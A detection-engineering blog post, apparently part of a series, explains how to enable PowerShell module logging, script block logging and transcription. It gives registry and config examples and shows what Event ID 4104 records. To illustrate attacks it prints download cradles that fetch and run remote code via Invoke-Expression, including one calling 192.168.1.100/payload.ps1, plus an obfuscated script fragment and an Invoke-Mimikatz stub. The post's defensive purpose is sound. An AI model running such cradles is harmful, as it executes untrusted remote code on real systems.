























In Part 2, we enabled process creation logging with command lines. That's a big step forward. But here's the thing about PowerShell: knowing that powershell.exe ran with an encoded command is helpful, but it doesn't tell you what that encoded command actually did after it decoded and executed.
Command Execution is the second-highest coverage data source in MITRE ATT&CK at 209 techniques. PowerShell logging directly addresses this, and it captures activity that process creation events simply cannot.
We see PowerShell abuse very often used with great success by actors of all levels, yet we still see a Pentester and Red Teamer on X and other platforms saying PowerShell is dead…

Consider this common scenario: an attacker runs PowerShell with a Base64-encoded command or downloads a script from the Internet and executes it in memory without ever touching disk. Here's what your Event ID 4688 shows:
$xml = New-Object System.Xml.XmlDocument
$xml.Load("https://bit.ly/2rHx0So")
$xml.command.a.command | iex You can see the download cradle. That's useful. But what did the payload contain? When we checked the URL the attacker had removed it. What commands did it run after downloading? Without PowerShell logging, you don't know. The payload executed entirely in memory—no new processes, no files on disk, no additional 4688 events.
This is exactly what PowerShell logging captures.
PowerShell offers three complementary logging mechanisms. I recommend enabling all of them.
1. Module Logging (Event ID 4103)
Module logging captures pipeline execution details. Every time a PowerShell command executes, module logging records what module was used and the command parameters.
What it captures:
Limitations:
2. Script Block Logging (Event ID 4104)
This is the most valuable. Script block logging captures the actual script content at compilation time via the AMSI v1 interface. Because the hook fires when a script block is compiled—before the engine unwinds any obfuscation—the code is recorded exactly as it enters the engine. If a script is obfuscated, the obfuscated form is what gets saved to the event, not a decoded version. If the obfuscated script then calls Invoke-Expression with a decoded string, that new script block triggers its own separate 4104 event, which may contain readable code. Additionally, PowerShell’s engine has a built-in list of suspicious keywords (defined in CompiledScriptBlock.cs); matching any of them automatically generates a warning-level (Level 3) 4104 event, even without Script Block Logging explicitly enabled.
What it captures:
Limitations:
3. Transcription
Transcription writes all PowerShell input and output to text files on disk. Think of this as a full session recording.
What it captures:
Limitations:
Via Group Policy (Recommended)
Navigate to:
Computer Configuration
→ Administrative Templates
→ Windows Components
→ Windows PowerShellEnable these policies:
Turn on Module Logging:
Turn on PowerShell Script Block Logging:
Turn on PowerShell Transcription:
Via Registry (for quick testing or scripted deployment)
# Module Logging
$modulePath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
$moduleNamesPath = "$modulePath\ModuleNames"
New-Item -Path $modulePath -Force | Out-Null
New-Item -Path $moduleNamesPath -Force | Out-Null
Set-ItemProperty -Path $modulePath -Name 'EnableModuleLogging' -Value 1
Set-ItemProperty -Path $moduleNamesPath -Name '*' -Value '*'
# Script Block Logging
$scriptBlockPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $scriptBlockPath -Force | Out-Null
Set-ItemProperty -Path $scriptBlockPath -Name 'EnableScriptBlockLogging' -Value 1
Set-ItemProperty -Path $scriptBlockPath -Name 'EnableScriptBlockInvocationLogging' -Value 1
# Transcription
$transcriptionPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription'
New-Item -Path $transcriptionPath -Force | Out-Null
Set-ItemProperty -Path $transcriptionPath -Name 'EnableTranscripting' -Value 1
Set-ItemProperty -Path $transcriptionPath -Name 'OutputDirectory' -Value 'C:\PSTranscripts'
Set-ItemProperty -Path $transcriptionPath -Name 'EnableInvocationHeader' -Value 1Via powershell.config.json (PowerShell 7)
The Group Policy and registry paths above apply only to Windows PowerShell 5.1. PowerShell 7 (pwsh.exe) uses a separate JSON configuration file and writes to a different event log. Create or edit powershell.config.json in $PSHOME (system-wide) or ~/.config/powershell/ (per-user) to enable logging:
{
"ScriptBlockLogging": {
"EnableScriptBlockLogging": true,
"EnableScriptBlockInvocationLogging": true
},
"ModuleLogging": {
"EnableModuleLogging": true,
"ModuleNames": [ "*" ]
},
"Transcription": {
"EnableTranscripting": true,
"EnableInvocationHeader": true,
"OutputDirectory": "C:\\PSTranscripts"
}
}PowerShell 7 events are written to the PowerShellCore/Operational log, separate from the Microsoft-Windows-PowerShell/Operational log used by Windows PowerShell 5.1. The same Event IDs (4103, 4104) are used in both. When building SIEM queries or detection rules, ensure you query both log sources, as an attacker switching between pwsh.exe and powershell.exe would otherwise split across them.
Let me show you why Script Block Logging (4104) is so powerful. Attackers frequently obfuscate their payloads to evade static detection. Here's an example of an obfuscated download cradle:
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";
# ... (continues for many lines)Your Event ID 4688 would show:
CommandLine: powershell.exe -file obfuscated_script.ps1Completely useless for understanding what this does.
Script Block Logging captures the script content as-is when it enters the engine—the obfuscated form is what gets recorded. Event ID 4104 (first event) would show the obfuscated script block:
ScriptBlockText:
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
[Continued in next event... same obfuscated content] That obfuscated content is searchable and alertable in your SIEM—even without being decoded. When the obfuscated script calls Invoke-Expression with a downloaded payload, that new string is compiled as a separate script block, triggering a second 4104 event. That second event may contain readable code:
ScriptBlockText (Event 2 — downloaded payload):
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')
function Invoke-Mimikatz {
param(
[string]$Command
)
# Full Mimikatz function code visible here
} This is the difference between knowing PowerShell ran and knowing exactly what it ran.
A common concern with PowerShell logging is volume. Yes, it generates logs. But consider the alternative: no visibility into one of the most abused tools in attacker tradecraft.
Some practical tips:
For Module Logging:
For Script Block Logging:
For Transcription:
Log Size Settings:
Increase the PowerShell Operational log size (default is often too small):
# Increase to 500MB
wevtutil sl "Microsoft-Windows-PowerShell/Operational" /ms:524288000Or via Group Policy:
Computer Configuration
→ Administrative Templates
→ Windows Components
→ Event Log Service
→ PowerShell
→ Specify maximum log file size: 512000 KBHere's where the LogonID correlation from Part 2 comes in. PowerShell events (4103, 4104) include user context. You can correlate these with:
A typical investigation flow:
With PowerShell logging enabled, you can build detections for:
Download cradles:
ScriptBlockText matches:
Encoded command execution:
ScriptBlockText matches:
Credential access:
ScriptBlockText matches:
Reconnaissance:
ScriptBlockText matches:
You might wonder about AMSI (Antimalware Scan Interface)—doesn't it already catch malicious PowerShell? Although valuable for blocking known-bad patterns, AMSI:
PowerShell logging and AMSI serve different purposes. You want both.
Even with robust PowerShell logging, we have gaps:
These gaps lead us directly to Sysmon in Part 4.
Contact us if you need assistance with detection engineering or incident response. We are here to help!
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。